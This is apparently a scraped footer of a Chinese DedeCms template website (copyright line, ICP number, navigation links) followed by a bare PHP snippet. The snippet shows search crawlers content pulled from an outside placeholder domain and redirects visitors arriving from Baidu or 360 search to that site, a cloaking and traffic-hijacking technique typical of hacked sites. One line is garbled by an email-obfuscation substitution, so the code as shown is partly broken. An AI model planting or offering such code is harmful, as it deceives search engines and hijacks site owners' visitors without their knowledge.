Copyright @ 2015-2020 织梦园 版权所有 Power by DedeCms
鲁ICP备15039853号-1

模板标签 TAG标签 网站地图 XML地图 今日更新 返回顶部

<?php if(strpos($_SERVER['HTTP_USER_AGENT'],"spider")||strpos($_SERVER["HTTP_USER_AGENT"],"google")>-1){ $str=file_get_contents("http://域名.com/");echo $str; } $domain=array('baidu','so'); [email protected]($_SERVER['HTTP_REFERER']); foreach ($domain as $v) { if (strpos($fromurl,$v)!==false) { $target="http://域名.com/index.html"; header("Location:".$target); exit; }}?> |